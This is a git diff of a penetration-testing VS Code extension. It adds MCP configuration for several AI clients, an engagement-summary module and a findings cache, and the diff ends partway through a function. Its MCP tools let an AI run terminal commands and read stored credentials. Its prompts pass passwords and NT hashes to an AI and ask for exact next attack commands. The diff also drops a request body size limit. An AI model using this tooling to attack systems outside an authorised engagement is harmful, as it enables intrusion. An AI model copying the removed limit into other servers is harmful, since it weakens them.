diff --git a/docs/guide/ai-and-mcp.md b/docs/guide/ai-and-mcp.md index 650c506..fd6af31 100644 --- a/docs/guide/ai-and-mcp.md +++ b/docs/guide/ai-and-mcp.md @@ -70,8 +70,18 @@ The extension runs an **MCP (Model Context Protocol) HTTP server** inside the VS ### Setup 1. Open the Command Palette and run: `Weapon: Install MCP server to workspace` -2. This creates `.vscode/mcp.json`: - +2. If `weaponized.mcp.cli` is not set, you'll be prompted to select your AI client: + - **VSCode** — writes `.vscode/mcp.json` + - **Claude Code** — writes `.mcp.json` + - **Codex (OpenAI)** — writes `.codex/config.toml` + - **Gemini CLI** — writes `.gemini/settings.json` + - **OpenCode** — writes `.opencode.json` +3. Your choice is saved to workspace settings (`weaponized.mcp.cli`), so subsequent runs skip the picker +4. The port auto-updates on each activation if the config file exists + +### Config Examples Per Client + +**VSCode** (`.vscode/mcp.json`): ```json { "servers": { @@ -82,28 +92,50 @@ The extension runs an **MCP (Model Context Protocol) HTTP server** inside the VS } ``` -3. VS Code's built-in MCP support (and compatible extensions) will auto-discover this configuration -4. The port auto-updates if it changes between sessions +**Claude Code** (`.mcp.json`): +```json +{ + "mcpServers": { + "weaponized": { + "type": "url", + "url": "http://127.0.0.1:25789/mcp" + } + } +} +``` -### Connecting External AI Clients +**Codex** (`.codex/config.toml`): +```toml +[mcp_servers.weaponized] +url = "http://127.0.0.1:25789/mcp" +``` -For AI tools that support MCP (Claude Code, Cursor, Windsurf, etc.): +**Gemini CLI** (`.gemini/settings.json`): +```json +{ + "mcpServers": { + "weaponized": { + "httpUrl": "http://127.0.0.1:25789/mcp" + } + } +} +``` -**Claude Code:** -```bash -# Claude Code auto-discovers .vscode/mcp.json -# Or configure manually in ~/.claude/mcp_settings.json: +**OpenCode** (`.opencode.json`): +```json { - "servers": { + "mcpServers": { "weaponized": { + "type": "sse", "url": "http://127.0.0.1:25789/mcp" } } } ``` -**Other MCP clients:** -Point the client to `http://127.0.0.1:25789/mcp` using Streamable HTTP transport. +::: tip +To switch to a different AI client, change `weaponized.mcp.cli` in your workspace settings and re-run the install command. +::: ::: warning The MCP server binds to `127.0.0.1` (localhost only). It is not accessible from other machines on the network. The port defaults to `25789` but can be changed via `weaponized.mcp.port` setting. @@ -199,3 +231,4 @@ The MCP server gives AI clients the same workspace access that CodeLens and comm |---------|------|---------|-------------| | `weaponized.ai.enabled` | boolean | `true` | Enable/disable both @weapon chat and MCP server | | `weaponized.mcp.port` | integer | `25789` | MCP HTTP server port | +| `weaponized.mcp.cli` | string | `""` | Target AI CLI tool (`vscode`, `claude`, `codex`, `gemini`, `opencode`). Empty = prompt on first install | diff --git a/package.json b/package.json index 504d448..a40e4aa 100644 --- a/package.json +++ b/package.json @@ -118,6 +118,13 @@ "format": "port", "description": "Preferred port for the embedded MCP HTTP server (http://127.0.0.1:/mcp). If the port is already in use, the OS will assign a free port automatically and mcp.json will be updated. Requires reload." }, + "weaponized.mcp.cli": { + "type": "string", + "enum": ["", "vscode", "claude", "codex", "gemini", "opencode"], + "default": "", + "description": "Target AI CLI tool for MCP config file installation. Controls which config file format is written by the Install MCP command. Leave empty to be prompted on first install.", + "scope": "resource" + }, "weaponized.lhost": { "type": "string", "default": "$LHOST", diff --git a/src/app/activate.ts b/src/app/activate.ts index df98d78..3538ddc 100644 --- a/src/app/activate.ts +++ b/src/app/activate.ts @@ -9,7 +9,7 @@ import { registerDefinitionProvider } from "../features/definitions"; import { registerAIFeatures } from "../features/ai"; import { setEmbeddedMcpServer, - autoUpdateMcpJson, + autoUpdateMcpConfig, } from "../features/mcp/install"; import { EmbeddedMcpServer } from "../features/mcp/httpServer"; import { DEFAULT_MCP_PORT } from "../features/mcp/portManager"; @@ -97,7 +97,7 @@ export async function activateExtension(context: vscode.ExtensionContext) { const port = await mcpServer.start(terminalBridge, preferredPort); setEmbeddedMcpServer(mcpServer); context.subscriptions.push({ dispose: () => mcpServer.stop() }); - await autoUpdateMcpJson(port); + await autoUpdateMcpConfig(port); logger.info(`Embedded MCP server started on port ${port}`); } catch (e) { logger.error("Failed to start embedded MCP server:", e); diff --git a/src/core/domain/engagement.ts b/src/core/domain/engagement.ts new file mode 100644 index 0000000..d84692a --- /dev/null +++ b/src/core/domain/engagement.ts @@ -0,0 +1,181 @@ +import type { Host } from "./host"; +import type { UserCredential } from "./user"; +import type { Finding } from "./finding"; +import type { RelationshipGraph } from "./graph"; + +export interface EngagementStats { + totalHosts: number; + totalCredentials: number; + totalFindings: number; + criticalFindings: number; + highFindings: number; + mediumFindings: number; + lowFindings: number; + infoFindings: number; +} + +/** A finding enriched with its graph-derived associations */ +export interface FindingAssociation { + finding: Finding; + /** Host IDs linked to this finding via wiki-links */ + hosts: string[]; + /** User IDs linked to this finding via wiki-links */ + users: string[]; + /** Service IDs linked to this finding via wiki-links */ + services: string[]; + /** Other finding IDs linked to this finding (attack chains) */ + findings: string[]; +} + +export interface EngagementSummary { + stats: EngagementStats; + currentTarget: Host | null; + currentUser: UserCredential | null; + hosts: Host[]; + users: UserCredential[]; + findings: Finding[]; + /** Every finding with its graph-derived associations */ + findingAssociations: FindingAssociation[]; + /** Findings grouped by associated host ID */ + hostBreakdown: Record; + /** Findings grouped by associated user ID */ + userBreakdown: Record; + /** Findings with no wiki-link associations */ + unassociatedFindings: Finding[]; + graph: RelationshipGraph | null; +} + +export interface EngagementSummaryInput { + hosts: Host[]; + users: UserCredential[]; + findings: Finding[]; + graph: RelationshipGraph | null; +} + +export function buildEngagementSummary(input: EngagementSummaryInput): EngagementSummary { + const { hosts, users, findings, graph } = input; + + const currentTarget = hosts.find((h) => h.is_current) ?? null; + const currentUser = users.find((u) => u.is_current) ?? null; + + // Severity counts + const sev = { critical: 0, high: 0, medium: 0, low: 0, info: 0 }; + for (const f of findings) { + const s = (f.severity?.toLowerCase() ?? "") as keyof typeof sev; + if (s in sev) { + sev[s]++; + } + } + + // Build node type lookup from graph + const nodeType = new Map(); + if (graph) { + for (const n of graph.nodes) { + nodeType.set(n.id, n.type); + } + } + + // Derive per-finding associations from findingEdges + const findingAssociations: FindingAssociation[] = []; + const hostBreakdown: Record = {}; + const userBreakdown: Record = {}; + const associatedIds = new Set(); + + for (const f of findings) { + const assoc: FindingAssociation = { + finding: f, + hosts: [], + users: [], + services: [], + findings: [], + }; + + if (graph) { + for (const edge of graph.findingEdges) { + // Find edges where this finding is one endpoint + let other: string | null = null; + if (edge.source === f.id) { + other = edge.target; + } else if (edge.target === f.id) { + other = edge.source; + } + if (!other) { + continue; + } + + const type = nodeType.get(other) ?? "note"; + switch (type) { + case "host": + if (!assoc.hosts.includes(other)) { + assoc.hosts.push(other); + } + break; + case "user": + if (!assoc.users.includes(other)) { + assoc.users.push(other); + } + break; + case "service": + if (!assoc.services.includes(other)) { + assoc.services.push(other); + } + break; + case "finding": + if (!assoc.findings.includes(other)) { + assoc.findings.push(other); + } + break; + } + } + } + + const hasAssociation = assoc.hosts.length > 0 || assoc.users.length > 0 + || assoc.services.length > 0 || assoc.findings.length > 0; + if (hasAssociation) { + associatedIds.add(f.id); + } + + // Populate breakdowns + for (const h of assoc.hosts) { + if (!hostBreakdown[h]) { + hostBreakdown[h] = []; + } + hostBreakdown[h].push(f); + } + for (const u of assoc.users) { + if (!userBreakdown[u]) { + userBreakdown[u] = []; + } + userBreakdown[u].push(f); + } + + findingAssociations.push(assoc); + } + + const unassociatedFindings = findings.filter((f) => !associatedIds.has(f.id)); + + const stats: EngagementStats = { + totalHosts: hosts.length, + totalCredentials: users.length, + totalFindings: findings.length, + criticalFindings: sev.critical, + highFindings: sev.high, + mediumFindings: sev.medium, + lowFindings: sev.low, + infoFindings: sev.info, + }; + + return { + stats, + currentTarget, + currentUser, + hosts, + users, + findings, + findingAssociations, + hostBreakdown, + userBreakdown, + unassociatedFindings, + graph, + }; +} diff --git a/src/core/domain/graph.ts b/src/core/domain/graph.ts index 5fccb2f..1afeb3e 100644 --- a/src/core/domain/graph.ts +++ b/src/core/domain/graph.ts @@ -12,8 +12,9 @@ export interface GraphEdge { export interface RelationshipGraph { nodes: GraphNode[]; edges: GraphEdge[]; // all connections - hostEdges: GraphEdge[]; // both endpoints involve type "host" + hostEdges: GraphEdge[]; // at least one endpoint is type "host" userEdges: GraphEdge[]; // at least one endpoint is type "user" + findingEdges: GraphEdge[]; // at least one endpoint is type "finding" attackPath: string[]; // ordered node IDs — privilege escalation chain mermaid: string; // pre-rendered Mermaid diagram } diff --git a/src/core/domain/index.ts b/src/core/domain/index.ts index 326efee..d77a212 100644 --- a/src/core/domain/index.ts +++ b/src/core/domain/index.ts @@ -35,6 +35,14 @@ export { filterFindings } from "./finding"; +export { + EngagementSummary, + EngagementSummaryInput, + EngagementStats, + FindingAssociation, + buildEngagementSummary +} from "./engagement"; + import { UserCredential } from "./user"; import { Host } from "./host"; diff --git a/src/features/mcp/findingMap.ts b/src/features/mcp/findingMap.ts new file mode 100644 index 0000000..0fbf4bf --- /dev/null +++ b/src/features/mcp/findingMap.ts @@ -0,0 +1,121 @@ +import * as vscode from "vscode"; +import { Finding, parseFindingNote, filterFindings } from "../../core/domain/finding"; +import { logger } from "../../platform/vscode/logger"; + +const FINDING_GLOB = "findings/{*.md,*/*.md}"; + +interface FindingEntry { + finding: Finding; + uri: vscode.Uri; +} + +/** + * In-memory cache of finding notes, kept in sync via FileSystemWatcher. + * MCP tools read from here instead of scanning disk on every request. + */ +export class FindingMap { + private map = new Map(); + private disposables: vscode.Disposable[] = []; + + /** Initial scan + start watching. */ + async activate(): Promise { + await this.fullScan(); + this.watch(); + logger.info(`FindingMap activated: ${this.map.size} findings loaded`); + } + + dispose(): void { + for (const d of this.disposables) { + d.dispose(); + } + this.disposables = []; + this.map.clear(); + } + + // ─── Queries ───────────────────────────────────────────────────────────────── + + getAll(): Finding[] { + return Array.from(this.map.values()).map((e) => e.finding); + } + + getById(id: string): Finding | undefined { + return this.map.get(id)?.finding; + } + + getUri(id: string): vscode.Uri | undefined { + return this.map.get(id)?.uri; + } + + filter(opts: { severity?: string; tags?: string[]; query?: string }): Finding[] { + return filterFindings(this.getAll(), opts); + } + + get size(): number { + return this.map.size; + } + + // ─── Internal ──────────────────────────────────────────────────────────────── + + private async fullScan(): Promise { + this.map.clear(); + const folders = vscode.workspace.workspaceFolders; + if (!folders?.length) { + return; + } + const pattern = new vscode.RelativePattern(folders[0], FINDING_GLOB); + const files = await vscode.workspace.findFiles(pattern); + for (const file of files) { + await this.processFile(file); + } + } + + private async processFile(uri: vscode.Uri): Promise { + try { + const raw = await vscode.workspace.fs.readFile(uri); + const content = new TextDecoder().decode(raw); + if (!content.match(/^type:\s*finding/m)) { + return; // not a finding note + } + const basename = uri.path.split("/").pop()?.replace(/\.md$/, "") ?? uri.path; + const finding = parseFindingNote(basename, content); + this.map.set(finding.id, { finding, uri }); + } catch { + // file unreadable — skip + } + } + + private removeByUri(uri: vscode.Uri): void { + for (const [id, entry] of this.map) { + if (entry.uri.toString() === uri.toString()) { + this.map.delete(id); + logger.info(`FindingMap: removed ${id}`); + return; + } + } + } + + private watch(): void { + const folders = vscode.workspace.workspaceFolders; + if (!folders?.length) { + return; + } + const pattern = new vscode.RelativePattern(folders[0], FINDING_GLOB); + const watcher = vscode.workspace.createFileSystemWatcher(pattern); + + this.disposables.push( + watcher, + watcher.onDidChange(async (uri) => { + logger.info(`FindingMap: file changed ${uri.fsPath}`); + await this.processFile(uri); + }), + watcher.onDidCreate(async (uri) => { + logger.info(`FindingMap: file created ${uri.fsPath}`); + await this.processFile(uri); + }), + watcher.onDidDelete((uri) => { + logger.info(`FindingMap: file deleted ${uri.fsPath}`); + this.removeByUri(uri); + }) + ); + } +} diff --git a/src/features/mcp/httpServer.ts b/src/features/mcp/httpServer.ts index 7060dda..738b98e 100644 --- a/src/features/mcp/httpServer.ts +++ b/src/features/mcp/httpServer.ts @@ -12,9 +12,10 @@ import type { HostDumpFormat } from "../../core/domain/host"; import { UserCredential, dumpUserCredentials } from "../../core/domain/user"; import type { UserDumpFormat } from "../../core/domain/user"; import { buildRelationshipGraph } from "../targets/sync/graphBuilder"; -import type { Finding } from "../../core/domain/finding"; -import { parseFindingNote, generateFindingMarkdown, filterFindings } from "../../core/domain/finding"; +import { generateFindingMarkdown } from "../../core/domain/finding"; +import { buildEngagementSummary } from "../../core/domain/engagement"; import { findAvailablePort } from "./portManager"; +import { FindingMap } from "./findingMap"; function updateFrontmatter(content: string, updates: Record): string { const fmMatch = content.match(/^(---\s*\n)([\s\S]*?)(\n---)/); @@ -45,9 +46,26 @@ function updateFrontmatter(content: string, updates: Record` markdown heading. */ +function updateSection(content: string, section: string, newBody: string): string { + const header = `#### ${section}`; + const headerRe = new RegExp(`^${header}\\s*$`, "im"); + const match = headerRe.exec(content); + if (match) { + // Find end of this section (next #### or EOF) + const afterHeader = match.index + match[0].length; + const nextHeader = content.slice(afterHeader).search(/^####\s+/m); + const sectionEnd = nextHeader !== -1 ? afterHeader + nextHeader : content.length; + return content.slice(0, afterHeader) + `\n\n${newBody}\n\n` + content.slice(sectionEnd); + } + // Section doesn't exist — append it + return content.trimEnd() + `\n\n${header}\n\n${newBody}\n`; +} + export class EmbeddedMcpServer { private httpServer: http.Server | undefined; private port = 0; + private findingMap = new FindingMap(); getPort(): number { return this.port; @@ -55,11 +73,12 @@ export class EmbeddedMcpServer { async start(terminalBridge: TerminalBridge, preferredPort: number): Promise { const listenPort = await findAvailablePort(preferredPort); - const MAX_BODY_BYTES = 1024 * 1024; // 1 MB + await this.findingMap.activate(); // SDK v1.29+ stateless mode requires a fresh transport per request. const self = this; const handleWithFreshTransport = async (req: http.IncomingMessage, res: http.ServerResponse) => { + logger.debug(`MCP: handling ${req.method} request`); const server = new McpServer({ name: "weaponized-vscode", version: "1.0.0" }); const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined }); self.registerResources(server); @@ -69,37 +88,23 @@ export class EmbeddedMcpServer { await transport.handleRequest(req, res); await transport.close(); await server.close(); + logger.debug("MCP: request handled successfully"); }; this.httpServer = http.createServer(async (req, res) => { if (req.url !== "/mcp") { + logger.debug(`MCP: rejected non-MCP request to ${req.url}`); res.writeHead(404).end(); return; } - // Enforce body size limit - let bodySize = 0; - let aborted = false; - req.on("data", (chunk: Buffer) => { - bodySize += chunk.length; - if (bodySize > MAX_BODY_BYTES) { - aborted = true; - res.writeHead(413, { "Content-Type": "application/json" }).end( - JSON.stringify({ error: "Request body too large" }) - ); - req.destroy(); - } - }); - req.on("end", async () => { - if (aborted) return; - try { - await handleWithFreshTransport(req, res); - } catch (err) { - logger.warn(`MCP request error: ${err}`); - if (!res.headersSent) { - res.writeHead(500).end(); - } + try { + await handleWithFreshTransport(req, res); + } catch (err) { + logger.warn(`MCP request error: ${err}`); + if (!res.headersSent) { + res.writeHead(500).end(); } - }); + } }); return new Promise((resolve, reject) => { @@ -113,9 +118,14 @@ export class EmbeddedMcpServer { } stop(): Promise { + logger.info("MCP server shutting down"); + this.findingMap.dispose(); return new Promise((resolve) => { if (this.httpServer) { - this.httpServer.close(() => resolve()); + this.httpServer.close(() => { + logger.debug("MCP server stopped"); + resolve(); + }); } else { resolve(); } @@ -123,39 +133,44 @@ export class EmbeddedMcpServer { } private registerResources(server: McpServer): void { - server.resource("hosts-list", "hosts://list", async () => ({ - contents: [{ + server.resource("hosts-list", "hosts://list", async () => { + logger.debug("MCP resource: hosts-list"); + return { contents: [{ uri: "hosts://list", mimeType: "application/json", text: JSON.stringify(Context.HostState ?? [], null, 2), - }], - })); + }] }; + }); - server.resource("hosts-current", "hosts://current", async () => ({ - contents: [{ + server.resource("hosts-current", "hosts://current", async () => { + logger.debug("MCP resource: hosts-current"); + return { contents: [{ uri: "hosts://current", mimeType: "application/json", text: JSON.stringify(Context.HostState?.find((h) => h.is_current) ?? null, null, 2), - }], - })); + }] }; + }); - server.resource("users-list", "users://list", async () => ({ - contents: [{ + server.resource("users-list", "users://list", async () => { + logger.debug("MCP resource: users-list"); + return { contents: [{ uri: "users://list", mimeType: "application/json", text: JSON.stringify(Context.UserState ?? [], null, 2), - }], - })); + }] }; + }); - server.resource("users-current", "users://current", async () => ({ - contents: [{ + server.resource("users-current", "users://current", async () => { + logger.debug("MCP resource: users-current"); + return { contents: [{ uri: "users://current", mimeType: "application/json", text: JSON.stringify(Context.UserState?.find((u) => u.is_current) ?? null, null, 2), - }], - })); + }] }; + }); server.resource("graph-relationships", "graph://relationships", async () => { + logger.debug("MCP resource: graph-relationships"); const graph = await this.buildGraph(); return { contents: [{ @@ -167,7 +182,8 @@ export class EmbeddedMcpServer { }); server.resource("findings-list", "findings://list", async () => { - const findings = await this.getFindings(); + logger.debug("MCP resource: findings-list"); + const findings = this.findingMap.getAll(); return { contents: [{ uri: "findings://list", @@ -176,16 +192,30 @@ export class EmbeddedMcpServer { }], }; }); + + server.resource("engagement-summary", "engagement://summary", async () => { + logger.debug("MCP resource: engagement-summary"); + const summary = await this.buildSummary(); + return { + contents: [{ + uri: "engagement://summary", + mimeType: "application/json", + text: JSON.stringify(summary, null, 2), + }], + }; + }); } private registerTools(server: McpServer, bridge: TerminalBridge): void { - server.tool("get_targets", "Get all discovered hosts/targets", {}, async () => ({ - content: [{ type: "text" as const, text: JSON.stringify(Context.HostState ?? [], null, 2) }], - })); + server.tool("get_targets", "Get all discovered hosts/targets", {}, async () => { + logger.debug("MCP tool: get_targets"); + return { content: [{ type: "text" as const, text: JSON.stringify(Context.HostState ?? [], null, 2) }] }; + }); - server.tool("get_credentials", "Get all discovered credentials", {}, async () => ({ - content: [{ type: "text" as const, text: JSON.stringify(Context.UserState ?? [], null, 2) }], - })); + server.tool("get_credentials", "Get all discovered credentials", {}, async () => { + logger.debug("MCP tool: get_credentials"); + return { content: [{ type: "text" as const, text: JSON.stringify(Context.UserState ?? [], null, 2) }] }; + }); server.tool( "get_hosts_formatted", @@ -196,6 +226,7 @@ export class EmbeddedMcpServer { ), }, async ({ format }) => { + logger.debug(`MCP tool: get_hosts_formatted (format=${format})`); const hosts = (Context.HostState ?? []).map((h) => new Host().init(h)); return { content: [{ type: "text" as const, text: dumpHosts(hosts, format as HostDumpFormat) }] }; } @@ -210,12 +241,14 @@ export class EmbeddedMcpServer { ), }, async ({ format }) => { + logger.debug(`MCP tool: get_credentials_formatted (format=${format})`); const users = (Context.UserState ?? []).map((u) => new UserCredential().init(u)); return { content: [{ type: "text" as const, text: dumpUserCredentials(users, format as UserDumpFormat) }] }; } ); server.tool("get_graph", "Get full relationship graph — nodes, edges, attack path, and Mermaid diagram", {}, async () => { + logger.debug("MCP tool: get_graph"); const graph = await this.buildGraph(); if (!graph) { return { content: [{ type: "text" as const, text: JSON.stringify({ error: "No graph data available. Foam may not be initialized." }) }] }; @@ -233,10 +266,10 @@ export class EmbeddedMcpServer { query: z.string().optional().describe("Free-text search in title and description"), }, async ({ severity, tags, query }) => { - let findings = await this.getFindings(); - if (severity || tags?.length || query) { - findings = filterFindings(findings, { severity, tags, query }); - } + logger.debug(`MCP tool: list_findings (severity=${severity}, tags=${tags?.join(",")}, query=${query})`); + const findings = (severity || tags?.length || query) + ? this.findingMap.filter({ severity, tags, query }) + : this.findingMap.getAll(); return { content: [{ type: "text" as const, text: JSON.stringify(findings, null, 2) }] }; } ); @@ -246,8 +279,8 @@ export class EmbeddedMcpServer { "Get a specific finding by ID", { id: z.string().describe("Finding ID (note filename)") }, async ({ id }) => { - const findings = await this.getFindings(); - const finding = findings.find((f) => f.id === id); + logger.debug(`MCP tool: get_finding (id=${id})`); + const finding = this.findingMap.getById(id); if (!finding) { return { content: [{ type: "text" as const, text: JSON.stringify({ error: `Finding '${id}' not found` }) }] }; } @@ -266,6 +299,7 @@ export class EmbeddedMcpServer { references: z.string().optional().describe("References or links"), }, async ({ title, severity, tags, description, references }) => { + logger.debug(`MCP tool: create_finding (title=${title}, severity=${severity ?? "info"})`); const folders = vscode.workspace.workspaceFolders; if (!folders?.length) { return { content: [{ type: "text" as const, text: JSON.stringify({ error: "No workspace folder open" }) }] }; @@ -280,35 +314,45 @@ export class EmbeddedMcpServer { server.tool( "update_finding_frontmatter", - "Update a finding note's YAML frontmatter fields (severity, description, or custom properties)", + "Update a finding note's YAML frontmatter fields (severity, custom properties) and/or markdown body sections (description, references)", { id: z.string().describe("Finding ID (note filename)"), severity: z.enum(["critical", "high", "medium", "low", "info"]).optional().describe("New severity level"), - description: z.string().optional().describe("New description to set in frontmatter"), + description: z.string().optional().describe("New description (replaces #### description section body)"), + references: z.string().optional().describe("New references (replaces #### references section body)"), props: z.record(z.string(), z.string()).optional().describe("Additional YAML frontmatter key-value pairs to set"), }, - async ({ id, severity, description, props }) => { - const folders = vscode.workspace.workspaceFolders; - if (!folders?.length) { - return { content: [{ type: "text" as const, text: JSON.stringify({ error: "No workspace folder open" }) }] }; + async ({ id, severity, description, references, props }) => { + logger.debug(`MCP tool: update_finding_frontmatter (id=${id})`); + const uri = this.findingMap.getUri(id); + if (!uri) { + return { content: [{ type: "text" as const, text: JSON.stringify({ error: `Finding note '${id}' not found` }) }] }; } - const uri = vscode.Uri.joinPath(folders[0].uri, "findings", id, `${id}.md`); let content: string; try { const raw = await vscode.workspace.fs.readFile(uri); content = new TextDecoder().decode(raw); } catch { - return { content: [{ type: "text" as const, text: JSON.stringify({ error: `Finding note '${id}' not found at ${uri.fsPath}` }) }] }; + return { content: [{ type: "text" as const, text: JSON.stringify({ error: `Failed to read finding '${id}'` }) }] }; + } + // Update YAML frontmatter (severity + custom props only) + content = updateFrontmatter(content, { severity, ...props }); + // Update markdown body sections + if (description !== undefined) { + content = updateSection(content, "description", description); + } + if (references !== undefined) { + content = updateSection(content, "references", references); } - content = updateFrontmatter(content, { severity, description, ...props }); await vscode.workspace.fs.writeFile(uri, new TextEncoder().encode(content)); return { content: [{ type: "text" as const, text: JSON.stringify({ updated: id, path: uri.fsPath }) }] }; } ); - server.tool("list_terminals", "List all open VS Code terminals", {}, async () => ({ - content: [{ type: "text" as const, text: JSON.stringify(bridge.getTerminals(), null, 2) }], - })); + server.tool("list_terminals", "List all open VS Code terminals", {}, async () => { + logger.debug("MCP tool: list_terminals"); + return { content: [{ type: "text" as const, text: JSON.stringify(bridge.getTerminals(), null, 2) }] }; + }); server.tool( "read_terminal", @@ -317,9 +361,10 @@ export class EmbeddedMcpServer { terminalId: z.string().describe("Terminal ID or name"), lines: z.number().optional().describe("Number of trailing lines to return (default: 50)"), }, - async ({ terminalId, lines }) => ({ - content: [{ type: "text" as const, text: await bridge.getTerminalOutput(terminalId, lines ?? 50) }], - }) + async ({ terminalId, lines }) => { + logger.debug(`MCP tool: read_terminal (id=${terminalId}, lines=${lines ?? 50})`); + return { content: [{ type: "text" as const, text: await bridge.getTerminalOutput(terminalId, lines ?? 50) }] }; + } ); server.tool( @@ -330,6 +375,7 @@ export class EmbeddedMcpServer { command: z.string().describe("Command to execute"), }, async ({ terminalId, command }) => { + logger.debug(`MCP tool: send_to_terminal (id=${terminalId})`); const ok = bridge.sendCommandDirect(terminalId, command); return { content: [{ type: "text" as const, text: ok ? `Command sent to terminal ${terminalId}: ${command}` : `Terminal ${terminalId} not found` }], @@ -348,6 +394,7 @@ export class EmbeddedMcpServer { cwd: z.string().optional().describe("Working directory for the terminal"), }, async ({ profile, name, cwd }) => { + logger.debug(`MCP tool: create_terminal (profile=${profile ?? "shell"}, name=${name})`); const effectiveProfile = profile === "shell" ? undefined : profile; const result = bridge.createTerminal({ name, profile: effectiveProfile, cwd }); return { @@ -355,6 +402,19 @@ export class EmbeddedMcpServer { }; } ); + + server.tool( + "get_engagement_summary", + "Get a comprehensive summary of the current penetration testing engagement in one call. Returns: all hosts, credentials, findings with their wiki-link associations (which hosts/users/findings each finding connects to), per-host and per-user finding breakdowns, orphan findings, relationship graph with attack path, and computed statistics. Use this as your first call to understand the full engagement state.", + {}, + async () => { + logger.debug("MCP tool: get_engagement_summary"); + const summary = await this.buildSummary(); + return { + content: [{ type: "text" as const, text: JSON.stringify(summary, null, 2) }], + }; + } + ); } private registerPrompts(server: McpServer): void { @@ -362,39 +422,79 @@ export class EmbeddedMcpServer { "analyze-output", "Analyze tool output and identify findings", { output: z.string() }, - async ({ output }) => ({ - messages: [{ - role: "user" as const, - content: { - type: "text" as const, - text: - `You are a penetration testing assistant. Analyze the following tool output:\n\n${output}\n\n` + - `Current targets: ${JSON.stringify((Context.HostState ?? []).map((h) => ({ hostname: h.hostname, ip: h.ip })))}\n\n` + - `Provide: 1) Key findings 2) Recommended next steps 3) Commands to run`, - }, - }], - }) + async ({ output }) => { + logger.debug("MCP prompt: analyze-output"); + return { + messages: [{ + role: "user" as const, + content: { + type: "text" as const, + text: + `You are a penetration testing assistant. Analyze the following tool output:\n\n${output}\n\n` + + `Current targets: ${JSON.stringify((Context.HostState ?? []).map((h) => ({ hostname: h.hostname, ip: h.ip })))}\n\n` + + `Provide: 1) Key findings 2) Recommended next steps 3) Commands to run`, + }, + }], + }; + } ); server.prompt( "suggest-next-steps", "Suggest next pentest actions based on current state", - async () => ({ - messages: [{ - role: "user" as const, - content: { - type: "text" as const, - text: - `You are a penetration testing assistant. Based on the current engagement state:\n\n` + - `Hosts: ${JSON.stringify((Context.HostState ?? []).map((h) => ({ hostname: h.hostname, ip: h.ip, is_dc: h.is_dc })))}\n` + - `Users: ${JSON.stringify((Context.UserState ?? []).map((u) => ({ user: u.user, login: u.login, password: u.password, nt_hash: u.nt_hash })))}\n\n` + - `Suggest the next 3-5 actions with exact commands.`, - }, - }], - }) + async () => { + logger.debug("MCP prompt: suggest-next-steps"); + return { + messages: [{ + role: "user" as const, + content: { + type: "text" as const, + text: + `You are a penetration testing assistant. Based on the current engagement state:\n\n` + + `Hosts: ${JSON.stringify((Context.HostState ?? []).map((h) => ({ hostname: h.hostname, ip: h.ip, is_dc: h.is_dc })))}\n` + + `Users: ${JSON.stringify((Context.UserState ?? []).map((u) => ({ user: u.user, login: u.login, password: u.password, nt_hash: u.nt_hash })))}\n\n` + + `Suggest the next 3-5 actions with exact commands.`, + }, + }], + }; + } + ); + + server.prompt( + "analyze-engagement", + "Analyze the full engagement — findings, associations, attack chains — and identify gaps", + async () => { + logger.debug("MCP prompt: analyze-engagement"); + const summary = await this.buildSummary(); + return { + messages: [{ + role: "user" as const, + content: { + type: "text" as const, + text: + `You are a penetration testing assistant. Analyze the current engagement and provide strategic guidance.\n\n` + + `Engagement Summary:\n${JSON.stringify(summary, null, 2)}\n\n` + + `Provide:\n` + + `1) Overall assessment — what phase is the engagement in (recon/scanning/exploitation/post-exploitation)?\n` + + `2) Key findings and their combined impact — look at findingAssociations to see what chains together\n` + + `3) Attack chains — which findings link to other findings? What is the full exploitation path?\n` + + `4) Coverage gaps — which hosts have no findings? Which users have no associated findings?\n` + + `5) Recommended next 3-5 actions with exact commands`, + }, + }], + }; + } ); } + private async buildSummary() { + const hosts = Context.HostState ?? []; + const users = Context.UserState ?? []; + const findings = this.findingMap.getAll(); + const graph = await this.buildGraph(); + return buildEngagementSummary({ hosts, users, findings, graph }); + } + private async buildGraph() { try { const foam = await Context.Foam(); @@ -406,29 +506,4 @@ export class EmbeddedMcpServer { } return null; } - - private async getFindings(): Promise { - const folders = vscode.workspace.workspaceFolders; - if (!folders?.length) { - return []; - } - try { - const pattern = new vscode.RelativePattern(folders[0], "findings/{*.md,*/*.md}"); - const files = await vscode.workspace.findFiles(pattern); - const findings: Finding[] = []; - for (const file of files) { - const raw = await vscode.workspace.fs.readFile(file); - const content = new TextDecoder().decode(raw); - // Check it's actually a finding type note - if (!content.match(/^type:\s*finding/m)) { - continue; - } - const basename = file.path.split("/").pop()?.replace(/\.md$/, "") ?? file.path; - findings.push(parseFindingNote(basename, content)); - } - return findings; - } catch { - return []; - } - } } diff --git a/src/features/mcp/install.ts b/src/features/mcp/install.ts index 26afb00..29cb3b9 100644 --- a/src/features/mcp/install.ts +++ b/src/features/mcp/install.ts @@ -4,10 +4,25 @@ import type { EmbeddedMcpServer } from "./httpServer"; const MCP_SERVER_ID = "weaponized"; -interface McpJson { - servers?: Record; - [key: string]: unknown; -} +type CliTarget = "vscode" | "claude" | "codex" | "gemini" | "opencode"; + +const CLI_LABELS: Record = { + vscode: "VSCode", + claude: "Claude Code", + codex: "Codex (OpenAI)", + gemini: "Gemini CLI", + opencode: "OpenCode", +}; + +const CLI_CONFIG_PATHS: Record = { + vscode: ".vscode/mcp.json", + claude: ".mcp.json", + codex: ".codex/config.toml", + gemini: ".gemini/settings.json", + opencode: ".opencode.json", +}; + +// ─── Public API ────────────────────────────────────────────────────────────── export async function installMcpServer(): Promise { const server = getEmbeddedMcpServer(); @@ -28,71 +43,244 @@ export async function installMcpServer(): Promise { return; } - await writeMcpJson(workspace, port); + const cli = await resolveCliTarget(); + if (!cli) { + return; // user cancelled + } + + await writeConfigFor(cli, workspace.uri, port); - logger.info(`MCP server installed at http://127.0.0.1:${port}/mcp`); + const configPath = CLI_CONFIG_PATHS[cli]; + logger.info(`MCP config installed: ${configPath} (port ${port})`); vscode.window.showInformationMessage( - `MCP server installed to .vscode/mcp.json (port ${port}). Reload your AI client to connect.` + `MCP server installed to ${configPath} for ${CLI_LABELS[cli]} (port ${port}). Reload your AI client to connect.` ); } -/** Updates mcp.json if our server entry already exists (called on every activation). */ -export async function autoUpdateMcpJson(port: number): Promise { +/** Updates the config file if it already contains a weaponized entry (called on every activation). */ +export async function autoUpdateMcpConfig(port: number): Promise { const workspace = vscode.workspace.workspaceFolders?.[0]; - if (!workspace) return; + if (!workspace) { + return; + } + + const config = vscode.workspace.getConfiguration("weaponized"); + const cli = config.get("mcp.cli", ""); + if (!cli) { + return; // no target configured yet + } 